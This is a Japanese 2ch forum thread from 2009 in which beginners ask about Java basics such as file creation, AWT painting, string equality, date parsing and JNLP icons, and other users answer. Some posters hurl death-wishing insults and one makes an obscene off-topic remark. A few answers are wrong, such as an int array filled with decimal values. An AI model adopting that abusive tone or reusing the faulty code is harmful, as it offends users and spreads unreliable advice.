文字コードがms932,sjis,shift-js,windows-31jとか複雑になったのは難解な説明に耐えられないで、msdos当時弱小だったMSのPGが文字コード体系も独自実装しちゃたってのが原因でしょ。
javaは別にwindowsに特化してるわけじゃないから、windows-31jじゃなくててshift_jisを推奨してるって聞いたことはあるけど。

483 :デフォルトの名無しさん:2009/04/27(月) 01:28:51
>>481
そのコンストラクタはないみたいですけど、PipedInputStreamじゃバッファサイズ変更できなくて不便じゃないですか?
スレッド使うようになるまではpipeのお世話になることはないんでしょうけど。

484 :デフォルトの名無しさん:2009/04/27(月) 01:32:57
sdk 1.6の方ではサイズ指定可能なコンストラクタがありましたね。

485 :デフォルトの名無しさん:2009/04/27(月) 13:18:15
Javaでwindowsのdllを呼ぶこと出来ないですかね?

486 :デフォルトの名無しさん:2009/04/27(月) 13:28:35
jni

487 :お願い!:2009/04/27(月) 16:51:44
*******
 *****
  ***
   *

このように逆ピラミッドになるプログラムを作成しなさい。

教えてください!

488 :デフォルトの名無しさん:2009/04/27(月) 16:53:53
Javaを使用したページにて「認証が必須です」とポップアップの出るページで
「このパスワードをパスワードリストに保存」のチェックをつけました。
このチェックをつけた後でOKを押した場合には次回以降は出なくなったのですが
これはどこのレジストリ値を使用してるのかが分かりません。
お分かりになる方はいらっしゃいますでしょうか?


489 :デフォルトの名無しさん:2009/04/27(月) 16:59:54
cookie

490 :デフォルトの名無しさん:2009/04/27(月) 17:03:49
Java関係ないじゃん

491 :デフォルトの名無しさん:2009/04/27(月) 17:09:55
どちらかと言うとそのチェックボックス自体をグレーアウトさせるか
表示させない状態にもっていきたいのです。(これをヒントに)
何かお分かりになりますでしょうか?

492 :デフォルトの名無しさん:2009/04/27(月) 17:31:47
自分で作ったものじゃないのか?
フレームワークの種類ぐらい情報出せよ。

493 :デフォルトの名無しさん:2009/04/27(月) 17:37:00
それブラウザ (IE?) の話じゃん。
パスワード保存させたくないならローカルセキュリティポリシーか何かで制限かければ?

494 :デフォルトの名無しさん:2009/04/27(月) 17:52:04
Fileクラスを使ってディレクトリとファイルを作るようにしたんだけど、
正常終了するけどディレクトリもファイルも作成されていないんですけど
どうしてでしょうか。

495 :デフォルトの名無しさん:2009/04/27(月) 18:00:14
言っておくけど new File("hoge.txt") しただけじゃファイルは作られないから。

496 :デフォルトの名無しさん:2009/04/27(月) 18:32:09
System.out.println("1");
File dir5 = new File("C:\\Mexico", "FILE003");
System.out.println("2");
File file1 = new File(dir5, "file01.txt");
System.out.println("3");
dir5.mkdir();
System.out.println("4");
file1.createNewFile();
System.out.println("5");
if(file1.exists()) {
System.out.println("6");
1234まで表示されるけど5が表示されないんですよね。
file1.createNewFile();がうまくいってないと思います。
dir5.mkdir();このディレクトリも作成されてないです。
何も処理されてないんですけど、どこがおかしいのでしょうか。

497 :デフォルトの名無しさん:2009/04/27(月) 18:34:12
dir5.mkdir() は親ディレクトリが存在しないと失敗する。dir.mkdirs() を使え。

498 :デフォルトの名無しさん:2009/04/27(月) 18:41:37
>>497
うまくいきました。ありがとうございました。

499 :デフォルトの名無しさん:2009/04/27(月) 19:47:37
public class RadioTest {
public static void main(String args[]){

Radio r1 = new Radio( );
r1.setFrequency( 85.1 );

r1.play();

Radio r2 = new Radio( );
r2.setFrequency( 80.1 );
r2.play();

}
}

このようなプログラムで、r10まで用意したいと思っています。
for (int i=1;i<=10;i++){
Radio r[i] = new Radio( );
としてみたのですが、コンパイル時にエラーがでます。
このような使い方は出来ないのでしょうか?10個程度なら手で入力できますが、100個単位になった場合はどうしたら良いでしょうか?

500 :ちんこ ◆GbXlaaQNk. :2009/04/27(月) 19:55:11
とりあえず、オブジェクト指向をちゃんと勉強してください。
まずは、setFrequencyというのをやめてください。
初期化の時にちゃんと設定してください。

つまり、Radio radio = new Radio(80.1);
という形で使うということです。オブジェクト指向が分かってない人は死んでください。
状態を無闇に増やしたクソクラスをクラスだなんて主張されるとうんざりします。
不変のメソッドオブジェクトを好んでください。お願いします。

501 :デフォルトの名無しさん:2009/04/27(月) 19:58:30
インターフェイス インターフェイス

502 :デフォルトの名無しさん:2009/04/27(月) 20:00:59
>>499
int[] freq = new int[]{85.1, 80.1, /* ... */};
Radio[] r = new Radio[freq.length];
for(int i=0; i<freq.length; i++){
  r[i] = new Radio();
  r[i].setFrequency(freq[i]);
  r[i].play();
}

503 :デフォルトの名無しさん:2009/04/27(月) 20:38:28
class >>487 {
public static void main(String[] args) {
  int i, j, N=10;

  for(i=1; i<=N; i++) {
    for(j=1; j<i; j++)
      System.out.print(" ");
    for(j=N*2; j>=i*2; j--)
      System.out.print("*");
    System.out.print("\n");
  }
}}

504 :ちんこ ◆GbXlaaQNk. :2009/04/27(月) 20:50:47
>>501
はぁ?

バカか。
まず、不変で作る。
もし可変にすべきなら、可変にすればいい。
インターフェイスっていうのはJavaのinterfaceのことだろうけど、
最初から決まるインターフェイスなんてないよ。
大体、更新メソッドが既定されたインターフェイスなんて、キチガイ設計にもほどがある。
それは、相当あとになってリファクタリングによってくくりだされる部分だ。

少し設計を勉強してからインターフェイスという言葉をつかえ。
インターフェイスという言葉を勘違いして使ってるやつは全員死ね。

505 :デフォルトの名無しさん:2009/04/27(月) 22:43:23
すみませんが質問です。

javaとstrutsを使っていて、html:textタグで入力した項目が、画面遷移後に、半角文字の表示はOKですが、全角だと文字化けします。
原因は何でしょうか?

506 :デフォルトの名無しさん:2009/04/27(月) 22:50:22
>>505
ブラウザのエンコードをUTF-8に変更したらどうなる?

507 :デフォルトの名無しさん:2009/04/27(月) 23:53:07
出来たてのウンチの中にチンコを差し込むとメチャ温かくて気持ちいいよ

508 :デフォルトの名無しさん:2009/04/28(火) 03:06:00
質問です。

メソッドの内部のコメントをドキュメント化したいのですが、何か方法はありますでしょうか?
つまり

public boolean checkArg(String[] args) {
 /** リターンコードの設定 */
 boolean rc = true;
 /** 引数の個数をチェックする */
 if(args.length == 2) {
  /** 引数が二個である場合、エラー */
  System.out.println("error!");
  rc = true;
 }
 else {
  /** それ以外は正常 */
  System.out.println("ok!");
  rc = false;
 }
 /** リターンコードを返す */
 return rc;
}

というようなコードを書いて、Javadocのメソッドの詳細のようなものを作りたいのです。
このようなことをする場合、普通はtagletで@commentのようなタグを自前で用意するものなのでしょうか?

以上、よろしくおねがいします。

509 :デフォルトの名無しさん:2009/04/28(火) 03:34:40
ちんこさんこんなとこにも顔出してるんですね

510 :デフォルトの名無しさん:2009/04/28(火) 06:23:47
質問です。今JDK6をダウンロードしたんですが
Vistaでは互換性がないと表示されました。
どうすれば使えるようになりますか?

511 :デフォルトの名無しさん:2009/04/28(火) 06:58:19
>>508
taglet はその用途には使用できんと思うぞ。

512 :デフォルトの名無しさん:2009/04/28(火) 07:03:18
>>510
そのまま入れちゃっていい。

513 :デフォルトの名無しさん:2009/04/28(火) 07:15:23
>>512
ごめんなさい。説明が足りませんでした。
ダウンロードしてCドライブに入れた後にそのファイルを
実行しようとすると「互換性がない。発行者に問い合わせろ」
と表示され、そこから進めないんです。
どうしたらいいですか?

514 :デフォルトの名無しさん:2009/04/28(火) 07:17:40
たぶんですけどVistaが正常にインストールされてないかメーカー製のVistaだと標準のWindowsからかけ離れているからエラーが出てインストール続行できないんでしょうね。
よくあるエラーですけど、ドライバ関連など怪しいですね。

515 :デフォルトの名無しさん:2009/04/28(火) 07:24:51
>>514
分かりました。少し自分で調べてみて分からなかったら
またここに来ます。ありがとうございました。

516 :お願い!:2009/04/28(火) 09:09:04
>>503

ありがとうございます。
助かりました!

517 :デフォルトの名無しさん:2009/04/28(火) 11:15:59
パソコンの中身は初シスなみにしか知らないド素人がJavaに手を出すのは無謀ですか?

518 :デフォルトの名無しさん:2009/04/28(火) 11:24:27
いいんじゃね。

519 :デフォルトの名無しさん:2009/04/28(火) 14:01:58
最近はじめたばかりなのですがフレームにHello, world!を表示させたいのですがうまくいきません
どうすればよいか教えていただけないでしょうか

import java.awt.*;

public class Framehello extends Frame{
public static void main(String[] args){
Frame f = new Frame();
f.setSize(200, 200);
f.setVisible(true);
}
public void paint(Graphics g){
g.drawString("Hello, world!",10,10);
}
}

520 :デフォルトの名無しさん:2009/04/28(火) 14:12:45
>>519

import java.awt.*;

public class Framehello extends Frame {
public void paint(Graphics g) {
g.setColor( Color.blue );
g.drawString("Hello, world!", 10, 40);
}
public static void main(String[] args) {
//Frame f = new Frame();
Framehello f = new Framehello();
f.setSize(200, 200);
f.setVisible(true);
}
}

521 :デフォルトの名無しさん:2009/04/28(火) 14:14:49
余分なコードが付いてた。
書き直す。

import java.awt.*;

public class Framehello extends Frame {
public static void main(String[] args) {
//Frame f = new Frame();
Framehello f = new Framehello();
f.setSize(200, 200);
f.setVisible(true);
}
public void paint(Graphics g) {
g.drawString("Hello, world!", 10, 40);
}
}

・Frameを継承した自分自身に描画する必要がある。
・文字表示位置がタイトルバーに被ってた

522 :デフォルトの名無しさん:2009/04/28(火) 14:17:23
>>520-521
実行できました
ありがとうございました

523 :デフォルトの名無しさん:2009/04/28(火) 14:48:57
>>518
ありがとうございます
頑張ります

524 :デフォルトの名無しさん:2009/04/28(火) 16:06:37
>>522 ちなみに、これも追加するといいよ。
public Framehello(String a) {
super(a);
}


525 :デフォルトの名無しさん:2009/04/28(火) 18:16:25
通常文字列の比較は str.equals() だと思うんですが
A="abc";
B="abc";
if (A==B)
なぜかこれで真になるときがあります。
それでも==はつかうべきではないのでしょうか?

526 :デフォルトの名無しさん:2009/04/28(火) 18:23:17
コンパイル時に同じ文字列リテラルを検出したらそれらは同じ文字列インスタンスを参照するよう
最適化しているだけ。だから == の参照比較が true になる事もある。
それでも、ではなく、プログラムを作る時は結果が不確定なものは使っちゃいけない。

527 :デフォルトの名無しさん:2009/04/28(火) 18:25:39
コンパイラは賢くてな、
"abc"おなじじゃん!同じオブジェクト割り当てちゃお!
ってやるわけよ。

普通のプログラムだと、あらかじめ同じ物が入っているのがわかっているのを
比較するっていうのは意味ないよな。


528 :デフォルトの名無しさん:2009/04/28(火) 18:29:00
了解しました。

529 :デフォルトの名無しさん:2009/04/28(火) 22:15:43
Javaって何だ。
Javaのプログラム人の話してる言葉からは、エクリプスとかトムキャットとか
サーブレットとかアプレットとかストラッツとか聞いたことの無い言葉がたく
さん出てくる。
それらのテクノロジーって1冊の本で完結するわけではないんだろ。
それら全部を学ぶためには、どういう学習の進め方をすればいいんだ。
複数巻で構成して第1巻から順番に学習をすれば、全部を学習できるシリーズ本
はないんか。

530 :デフォルトの名無しさん:2009/04/28(火) 22:21:29
文字とグラフィックを描画したいのですが
g.fillRect( 16, 16, 16, 16);
g.drawString("A", 16, 16);
文字Y座標が上に8dotずれて表示されてしまいます。
こういうものなのでしょうか?

531 :デフォルトの名無しさん:2009/04/28(火) 22:44:31
>>530
文字には「ベースライン」というものがあってな。


532 :デフォルトの名無しさん:2009/04/28(火) 22:46:44
java.awt.FontMetricsも見とくべし。



533 :デフォルトの名無しさん:2009/04/28(火) 22:56:13
情報ありがとうございます。
javaのレイアウトやっかいですね。

534 :デフォルトの名無しさん:2009/04/28(火) 23:04:16
文字のレイアウトに関する組版の知識だから、Javaあまり関係ない。


535 :デフォルトの名無しさん:2009/04/29(水) 01:10:25
.Net だと3.0にならないと文字レイアウトはサポートしてないんだっけか?

536 :デフォルトの名無しさん:2009/04/29(水) 01:24:34
ローマ字練習帳って、4本線が引いてあって、ベースラインだけ色が
変えてあったな、と思い出した。


537 :デフォルトの名無しさん:2009/04/29(水) 01:51:10
筆記体がもう教えられていないスレ に書こうとしてたなw

538 :デフォルトの名無しさん:2009/04/29(水) 01:57:28
初歩の質問すみません
PATHの通し方の質問なのですが、テンプレのサイトを読んだ所、
javac.exeがあるフォルダを環境変数にするところまではわかったのですが、
ここでいうjavac.exeとはjavacpl.exeのことでよろしいのでしょうか?

539 :デフォルトの名無しさん:2009/04/29(水) 02:04:51
違います。C:¥Program Files¥java¥jdk〜¥... の下に javac.exe が無いなら Sun のサイトから
JDK をダウンロードしてください。
http://java.sun.com/javase/downloads/?intcmp=1281

540 :デフォルトの名無しさん:2009/04/29(水) 02:06:08
>>539
有難う御座います!ダウンロードしてみます
助かりました

541 :デフォルトの名無しさん:2009/04/29(水) 02:10:16
>>506
レスありがとうございます。
駄目でした。
逆に文字化けがひどくなりました…

でも、多分エンコード関係ですよね…

542 :デフォルトの名無しさん:2009/04/29(水) 08:20:20
>>541
表示する時に二回と、取り込む時に一回、エンコードに関しての問題は起こる。

543 :デフォルトの名無しさん:2009/04/29(水) 11:34:14
Net Beansを使ってるのですが、同じソースの部分で
Net Beansのコンパイルの実行では例外処理が出て正常実行さないのですが
CPad使用でやると正常実行される、ということがおこってしまいました。
このようなことがあるのでしょうか?
この現象の原因に対する対処法はありますか?
ちなみに今回挙動がおかしいのは正規表現関連の部分です。

544 :デフォルトの名無しさん:2009/04/29(水) 11:48:39
どんな例外が出たのよ。
名前だけでも見れば結構原因がわかるもんだし、
スタックトレースを見ればどこで例外が出たかもわかるんだが。


545 :デフォルトの名無しさん:2009/04/29(水) 11:57:22
ある呼び先に書いてあるこの部分なんですが

Pattern pattern = Pattern.compile("[qwerty]");
Matcher matcher = pattern.matcher("abcdef");
StringBuilder buffer = new StringBuilder ("start:?");
boolean bb= matcher.find();
if (bb) {
System.out.println(1);
}

実際は
if (bb) {
System.out.println(1);
}
の部分をこう書いてますが、どちらもBeansの方ではだめです
while (matcher.find()) {
buffer.setLength(7);
buffer.append(matcher.start());
buffer.append("??end:?");
buffer.append(matcher.end());
System.out.println(buffer);
}

デバッグで見てみるとかなりおかしな飛び方をしています。

546 :デフォルトの名無しさん:2009/04/29(水) 12:18:15
545修正
>実際は
>boolean bb= matcher.find();  <これも勿論消してます
>if (bb) {

デバッグでは書いてある文全部スルーされる感じでした。
ステップで空白行に進むこともありました。
Pattern等の定義の部分をグローバルの方に書いてもだめでした。

Pattern pattern = Pattern.compile("[qwerty]");
ここに来ていきなりリターンされ catch { 以降も実行されず飛んでしまう感じです。


547 :デフォルトの名無しさん:2009/04/29(水) 12:33:42
コンパイル時にこのエラーが出てました。

972: <identifier> がありません。
Matcher matcher = pattern.("abcdef");


548 :デフォルトの名無しさん:2009/04/29(水) 12:44:36
マチャマチャさんを最近見ないな

549 :デフォルトの名無しさん:2009/04/29(水) 13:22:45
pattern "." ("abcdef");
だから、当然に <identifier> がありません。だよな。

550 :デフォルトの名無しさん:2009/04/29(水) 13:30:02
matcher関連を全部注釈化して無効にしても>>547のエラーが消えなかったので
ゼロから新プロジェクト作成して元ソースを貼ってやってみると動きました。
どうやらBeansの不具合だったようです、お騒がせしました。


551 :デフォルトの名無しさん:2009/04/29(水) 13:49:29
それで納得するなら、まあいいんじゃないの。


552 :デフォルトの名無しさん:2009/04/29(水) 19:11:43
public class クラス名

class クラス名

これらの違いを教えて頂きたいです。

553 :デフォルトの名無しさん:2009/04/29(水) 19:12:50
public class クラス名 → どこのパッケージからでも使えるクラス
class クラス名 → 同じパッケージに所属するクラスからしか使えないクラス

554 :デフォルトの名無しさん:2009/04/29(水) 19:13:18
>>553
有難う御座います!

555 :デフォルトの名無しさん:2009/04/29(水) 21:37:11
天才ジャヴァリスナーのおれっちが、
今から30秒の間、質問を受け付けるよ!

556 :デフォルトの名無しさん:2009/04/29(水) 21:38:36
>>555
出身地は?
彼女は居ますか?

557 :デフォルトの名無しさん:2009/04/29(水) 22:26:16
コマンドプロンプトって面白いのな

558 :デフォルトの名無しさん:2009/04/29(水) 22:48:09
javaで x+4=6 を x=6-4に置き換えないで
2を計算させて表示させることはできますか?

559 :デフォルトの名無しさん:2009/04/29(水) 23:05:49
JavaのVMってSun以外にたくさん出ていますが、どういう基準で選べばよいのですか?
たとえばDBならクリティカルなシステムはOracle(RAC)とか、社内のしょぼいシステムなら
フリーでいいやとか、色々判断できると思うのですが、JavaVMはどうなのですか?

560 :デフォルトの名無しさん:2009/04/29(水) 23:09:41
x + 4 = 6 という式をプログラムに与えて、
その方程式をプログラムに解かせたいって事?

入力された式を解析して x の位置がどこにあるかを認識して
そいつを x = expression の形に組み替えて
expression を計算すればいい。

561 :デフォルトの名無しさん:2009/04/29(水) 23:10:49
あーごめん
>>560>>558 宛て

562 :デフォルトの名無しさん:2009/04/29(水) 23:15:59
529がスルーされた残念

563 :デフォルトの名無しさん:2009/04/30(木) 00:14:18
>>562 >>529
> Javaって何だ。
 http://www.javatea.net/
温めると hotjava な。これ豆知識。

> 全部を学習できるシリーズ本
そんなの無いし、あったとしても出版された時には時代遅れなんだろうなぁ。

まあ、とりあえずエクリプスじゃないかな?
「全て」のプラグインとその機能を使いこなせるようになればなんでもできるw

564 :デフォルトの名無しさん:2009/04/30(木) 00:25:03
「Java Pet Store Hack」みたいな本出せば売れるのかな

565 :デフォルトの名無しさん:2009/04/30(木) 08:17:54
>>559
sunでいいよ

566 :デフォルトの名無しさん:2009/04/30(木) 10:00:50
>>555
listener?

567 :デフォルトの名無しさん:2009/04/30(木) 10:37:00
import java.util.Scanner;

class Sample1 {

public static void main(String[] args) {
Scanner stdIn = new Scanner(System.in);

System.out.println("xとyを加減乗除します。");

System.out.print("xの値:");
int x = stdIn.nextInt();

System.out.print("yの値;");
int y = stdIn.nextInt();

System.out.println("x + y ="+(x+y));
System.out.println("x - y ="+(x-y));
System.out.println("x * y ="+(x*y));
System.out.println("x / y ="+(x/y));
System.out.println("x % y ="+(x%y));
}
}


何が間違ってるの?

568 :デフォルトの名無しさん:2009/04/30(木) 11:37:40
>>567
15: if(y==0){System.out.println("0 divide!"); return;}

569 :デフォルトの名無しさん:2009/04/30(木) 12:27:26
>>568
なんかシンボルを解釈処理できませんって出る。
Scanner がなんかだめらしい

570 :デフォルトの名無しさん:2009/04/30(木) 12:55:04
問題解決しました。
開発キットの選びに問題があったようです。 てかさ

俺の通ってるプログラム学校
なぜかJAVA開発キット1.4.0で勉強してるんだけどこれってどうなの?
もう1.6くらいまで出てるよね?


571 :デフォルトの名無しさん:2009/04/30(木) 12:59:01
おまえの通ってる貧乏学校など興味なし

572 :デフォルトの名無しさん:2009/04/30(木) 13:06:17
相当、恥ずかしいことを言っているという自覚はありますか

573 :デフォルトの名無しさん:2009/04/30(木) 13:07:13
そのレベルなら、分からんことがあったら、積極的に先生に聞くべし。

そんなシステム上のエラー出されても、1生徒で対処できる範囲じゃぁない

574 :デフォルトの名無しさん:2009/04/30(木) 13:10:46
なんかとんでもない詐欺学校に入学してしまった気がする。。。

575 :デフォルトの名無しさん:2009/04/30(木) 13:11:12
貧乏人は派遣街道まっしぐらだしね

576 :デフォルトの名無しさん:2009/04/30(木) 13:19:39
基本は変わってないから大ジョブだべー

イーナムとか変なの増えてるが、それをついでに独学しとけばよかろ
1.6で勉強しても現場では1.4かもしれんし、1.5かもしれんのだから

577 :デフォルトの名無しさん:2009/04/30(木) 13:28:43
>>576
でも俺は基本情報技術者試験を受けるためにその学校行ってJAVAを習ってるわけだが、、、
基本情報技術者試験では1.5を対象にしてるのだよ。
やっぱり問題が生じるわけなのだ。。。

578 :デフォルトの名無しさん:2009/04/30(木) 13:37:11
基本はもうなくなったぜ!

別の試験になった筈だがまだ言語の区分あんのか

579 :デフォルトの名無しさん:2009/04/30(木) 13:52:01
基本情報技術者とかもっててもなんかいいことあるのか?


580 :デフォルトの名無しさん:2009/04/30(木) 14:27:00
>>579
持っても、特にない

581 :デフォルトの名無しさん:2009/04/30(木) 14:43:11
TOEIC900点持ってるといったほうがよっぽどいいことありそうなんだけど、何で情報技術者試験なの?
情報技術者各種を持ってて何かいいことあったらのなら教えてよ。

582 :デフォルトの名無しさん:2009/04/30(木) 14:52:46
会社の人から「そんな程度の試験も受からないんだねwププッwww」と思われないため

583 :デフォルトの名無しさん:2009/04/30(木) 15:20:02
>>577
基本商法取るために学校まで通ってJavaやる必要あんのか?
どうしても欲しいなら表計算選べばおk
Javaもそこまで難しくないから本買って自分でちょいちょいやれば受かる

584 :デフォルトの名無しさん:2009/04/30(木) 15:33:08
基本?なんて対策本読めばサクっと合格するべ

目標にするなら応用
応用もいけたらすきなの

585 :デフォルトの名無しさん:2009/04/30(木) 15:39:45
そんな役に立たない資格よりも漢字検定がお勧めですよ。

586 :デフォルトの名無しさん:2009/04/30(木) 18:42:47
仕事は出来るのに資格無い為に開発メンバに入れないという何とも哀れな
事例を何度も見たことがある。自分より力ない奴がどうして残れるんだ?
と騒いでも、だったら資格取れよという現実があるな。
勝手な解釈で国家試験を蔑ろにすると、またそういう雰囲気に飲まれて、
これでいいんだと納得するようであるなら、後々泣くことになるかもな。

587 :デフォルトの名無しさん:2009/04/30(木) 18:52:17
どんだけ立派な職場だよw

大企業だと資格がないから昇進できないとかもあるけどな。

588 :デフォルトの名無しさん:2009/05/01(金) 01:24:29
String s = "0123";
StringBuffer sb = new StringBuffer(s);
char c = 'a';
test1(s, sb, c); //ココ1
public void test1(String ps, StringBuffer psb, char pc) {
ps = "5678";
psb.append("4567");
pc = 'b';}
ココ1でtest1を実行した後に、s、sb、cの内容を表示させると、
sbだけが01234567に変化して、sとcは変更されてないですけど、
どういう場合に変更されて、どういう場合に変更されないのでしょうか。

589 :デフォルトの名無しさん:2009/05/01(金) 01:43:58
プリミティブ型(byte, char, intなど)は代入しても、呼び出し元は
変わらない。

参照型も、代入ではp???が見るモノが切り変わるだけなので、
呼び出し元は変わらない。
ただし、StringBuilder#appendや、String#replaceなどで、
p???が見ているモノの内部状態を変えることはできる。
呼び出し側ではp???と同じモノを見ているので、その内部状態も
変わっている。



590 :デフォルトの名無しさん:2009/05/01(金) 01:44:57
ごめん、String#replaceがあるのはRubyだわ。
JavaのStringには内部状態を変更するメソッドはない、はず。


591 :デフォルトの名無しさん:2009/05/01(金) 02:03:41
>>582
発注側が箸にも棒にもかからないド素人を足切りするために使うケースもあるようだ。
ぶっちゃけ面接した方が確実だとは思うが、評価できる人間が発注側にもほとんどいないし、
そもそも請負契約だと発注側は面接できない。(やると偽装請負の要件に引っかかる)
資格なら、発注要件に「××の資格を持つこと」って書けばいいからねー。

592 :デフォルトの名無しさん:2009/05/01(金) 02:03:50
>589
どうもありがとうございました

593 :デフォルトの名無しさん:2009/05/01(金) 03:00:34
なんかこのスレに下での横好きがいるな
>>580あたりから

594 :デフォルトの名無しさん:2009/05/01(金) 08:49:54
>>593
>下での横好き
って何?

595 :デフォルトの名無しさん:2009/05/01(金) 09:36:00
下で(なぜか変換出来ない)

って奴だろうと思う。

596 :デフォルトの名無しさん:2009/05/01(金) 12:21:44
同期させたいです。
midiでsequencerMasterとsequencerSlave
をMidiSystem.getSequencer()で用意して、
sequencerMasterのTransmitterと
sequencerSlaveのReceiverをつなぎました。
どちらのsequencerもgetMasterSyncMode()がInternal Clock、
getSlaveSyncMode()がNo Timingで、
SyncModes()の結果から
MIDI_TIME_CODEやMIDI_SYNCを設定できません。
それらを使うにはどうしたら良いでしょうか。


597 :デフォルトの名無しさん:2009/05/01(金) 16:14:17
画面の表示について質問をさせてください。
上や右にメニューバーやスクロールバーをつけて、
残りの中央部はBufferStrategyを使用した描画をしたいのですが、
bufferStrategy.showを行うとメニューバーが消え、repaintを行うと
画面側消えてしまいます。
これを両方表示させてる事はできるのですか?

598 :デフォルトの名無しさん:2009/05/01(金) 17:36:19
intやlongなどのプリミティブ型って、型判定できますか?
IntegerやLongだったら、instanceofで判定できるのは解りましたが、
intやlongは、どうやったら判定できるんでしょう?

599 :デフォルトの名無しさん:2009/05/01(金) 18:27:55
>>598
long の変数に int のインスタンスを代入、みたいな事はできないから判定はできないし、する意味もない。

long の変数に int の値は代入できるけどその際 int の値は単項数値昇格によって long に変換される。

600 :デフォルトの名無しさん:2009/05/01(金) 19:34:04
>>595
あー、「へたのよこずき」か。
マジで判らなかった。

601 :デフォルトの名無しさん:2009/05/01(金) 20:43:05
Java Web Startで拡張子をアプリケーションに関連付けたのですが
それはできたんだけど、どうしてもアイコンが変わりません

次のコードのどこに問題があるか?わかる方いましたら教えてください

<information>
<title>TestApp</title>
<vendor>testVendor</vendor>
<homepage href="http://hogehoge/"/>
<description>テストアプリケーションです。</description>
<icon href="icon32.png"/>
<association extensions="testapp" mime-type="application/testapp">
<description>testappファイル</description>
<icon kind="shortcut" href="icon32.png" width="32" height="32"/>
<icon kind="shortcut" href="icon16.png" width="16" height="16"/>
</association>
</information>

ちなみに、アプリケーションそのもののアイコンはキチンと設定されていますので
pngファイルは正常です。

602 :デフォルトの名無しさん:2009/05/01(金) 22:39:38
icon 要素 : GIF または JPEG 形式のイメージファイルへの HTTP URL が含まれます。
pngじゃ駄目だということでは?

603 :デフォルトの名無しさん:2009/05/01(金) 23:08:24
素人すぎる話題で恐縮ですがお願いします。
以下の書式の文字列からDateオブジェクトを生成したいのですがうまく行きません。
Fri May 01 22:18:17 JST 2009 ※DateオブジェクトをtoString()した書式

書いてみたのは以下の2つです(どっちもエラーです)
DateFormat df = DateFormat.getDateTimeInstance();
Date dt = df.parse("Fri May 01 22:18:17 JST 2009"); //=>ParseException

対応してない書式かと思い、書式指定してみた
DateFormat df = new SimpleDateFormat("EEE MMM dd HH:mm:ss z yyyy");
Date dt = df.parse("Fri May 01 22:18:17 JST 2009"); //=>ParseException

パターンを変えながら調べていくと、EEEとMMMがそれぞれFri/Mayにマッチしない様子です。
Javadocには同種の書式でFriやMayにマッチさせる例も載っているのですが、これ以上なんとも・・・
parseするための指定をおしえてください。※MMが05にマッチするのは確認しました(=月)

604 :デフォルトの名無しさん:2009/05/01(金) 23:13:19
>>603
DateFormatのインスタンス作成のときに Locale.ENGLISH


605 :603:2009/05/01(金) 23:35:50
>>604
ありがとうございます!確認できました。
ロケールの指定が必要とはまったく気がつかなかったです・・

606 :デフォルトの名無しさん:2009/05/01(金) 23:38:16
デフォルトのlocaleはuser.languageプロパティ依存だな。


607 :デフォルトの名無しさん:2009/05/01(金) 23:46:55
>>601
16x16 の方は特定環境に依存しないように GIF か JPEG にした方が良いみたいなガイドが
あった希ガス (うろ覚え)。昔した試行錯誤で JNLP ファイルのアイコン指定は 16x16 に
GIF (kind 無指定), 32x32 に PNG (kind="default"), 64x64 に GIF (kind="splash") がよさげ。

608 :デフォルトの名無しさん:2009/05/02(土) 00:00:28
>>599
レスありがとうございます。
たとえば、メソッドで

public methodA(Object obj, int value){}
public methodA(Object obj, long value){}

なんてのがあった場合は、
同じメソッド名で同じ引数の数で、違いは引数にint, long
なんて構造はそもそも取るべきでは無いってことでしょうか。。。




609 :デフォルトの名無しさん:2009/05/02(土) 00:01:39
すみません、sageます

610 :デフォルトの名無しさん:2009/05/02(土) 00:08:37
>>608
それはメソッドが呼ばれた時点で long か int が自明だから instanceof なんて使う必要はない。
それらのメソッドから呼ぶ共通のメソッドということなら Long と Integer でも使え。

611 :デフォルトの名無しさん:2009/05/02(土) 03:22:25
Java2 SDK ,Standard Edition Version 1.3が公式サイトでは配布が終わってしまったようなのですがどうにかしてどこかで手に入らないでしょうか?
また、代わりになるソフトというのはどういうものなのでしょうか?
WindowsでS!アプリを作りたいのですが・・・

612 :デフォルトの名無しさん:2009/05/02(土) 03:27:53
>>611
http://java.sun.com/j2se/1.3/download.html

613 :601:2009/05/02(土) 04:16:03
>>602
>>607
アドバイスありがとうございました。

なんとPCを再起動したらちゃんとアイコンが表示されていました・・
601のコードで問題ないみたいです。お騒がせしました。
しかしなんなんだこのトラップは・・??



614 :デフォルトの名無しさん:2009/05/02(土) 04:25:16
サポートはないけど古いのもダウンロードできなかったか?
1.1とか1.2とか。
古いシステムのまま運用してるところもあるだろうし、逆にダウンロードできないと問題だし
無料の約束で配布してたのに10年でサポート打ち切りとかでいきなり有料とかも詐欺っぽくて問題だけどね。

615 :デフォルトの名無しさん:2009/05/02(土) 04:48:10
>>614
http://java.sun.com/products/archive/

616 :デフォルトの名無しさん:2009/05/02(土) 06:57:13
さすがに1.0はないか


617 :デフォルトの名無しさん:2009/05/02(土) 08:21:44
API リファレンスだけなら手元にある。

618 :デフォルトの名無しさん:2009/05/02(土) 08:25:19
PHPでまともにClass扱えないのにJavaで理解できますかね^^;

619 :デフォルトの名無しさん:2009/05/02(土) 09:49:26
Java はまともにクラス扱えないとどうしようもないから OO 矯正には丁度良い。

620 :デフォルトの名無しさん:2009/05/02(土) 11:00:15
JNI で stderr に出力しているエラーメッセージを Java 側で拾って Swing のログコンソールにでも
出したいんだけど、何か良い方法ないかな?

621 :デフォルトの名無しさん:2009/05/02(土) 11:23:20
System.err.print で出力してるようなところは、Swingに書き出す
PrintStreamを作ってSystem.setErrを呼べばいいけど、ファイル
ディスクリプタ2への出力を捕まえるのはまた違う話になるのかな。



622 :デフォルトの名無しさん:2009/05/02(土) 13:11:01
for ( pos = 0; pos < source.length(); pos++ ) { //ココ4
System.out.println("4");
if (switchTag) {
System.out.println("3");
if ( source.charAt(pos) != '>' ) {
System.out.println("2");
for ( pos++; pos < source.length(); pos++ ) { //ココ3
System.out.println("1");
if ( source.charAt(pos) == '>' ) { //ココ2
System.out.println("break");
break; //ココ1
}
System.out.println("6");
}
System.out.println("7");
}
System.out.println("8");
}
ココ1のbreakでどこまで制御が戻るのかがよくわかりません
書籍では一番内側の制御文まで戻るとか書いてあるのですけど、
if文も制御文としたら、ココ2に戻ることになるのですけど、
実際の動作では、break 7 8 4 が表示されるので、
breaココ1が起きるとココ2には制御が来ずにココ3のforも抜けて、
ココ4に制御が戻っているみたいです。
直近のforのさらに上のforまで戻るのでしょうか。

623 :デフォルトの名無しさん:2009/05/02(土) 13:34:26
>>622
breakは任意の制御文を抜けるんじゃなくて、最も内側のswitch/while/do/for文を抜ける。
ココ1では、ココ3のforを抜けることになるので、breakの次に7と出るのは正常。


624 :デフォルトの名無しさん:2009/05/02(土) 13:37:01
